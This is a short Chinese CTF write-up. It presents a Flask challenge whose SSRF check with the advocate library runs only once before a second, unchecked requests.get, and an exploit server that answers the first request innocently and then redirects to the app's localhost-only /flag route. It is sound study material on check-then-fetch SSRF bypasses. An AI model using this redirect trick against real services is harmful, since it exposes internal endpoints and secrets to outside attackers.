0x00 前言
闲来无事打打 发现自己菜到家了
0x01 brain.md
from flask import Flask, request, render_template
import os
import advocate
import requests
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# Prevent SSRF
try:
advocate.get(url)
except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
advocate库还是第一次见 google一下就是防ssrf的库
天真地把自己知道的所有姿势都fuzz了一遍
无一例外地被拦下了
看了一下exp恍然大悟
exp.py
from flask import Flask, redirect
app = Flask(__name__)
i = 0
@app.route('/')
def index():
global i
if i == 0:
i += 1
return 'Nothing to see here'
else:
return redirect('http://localhost/flag')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
evil_server再接受请求时能返回不同的结果
再回头看看源码 (果然还是不够细~
验证机制中看到 只有第一次try时使用了advocate
下面就直接 r=requests.get(url) 了
那么服务器第一次和第二次返回不同的结果就直接bypass了
0x02 rethink
最近忙着期末 遗失了之前沉浸思考的状态了
希望今天是个转折 后续还能有些高质量输出
这篇确实太水了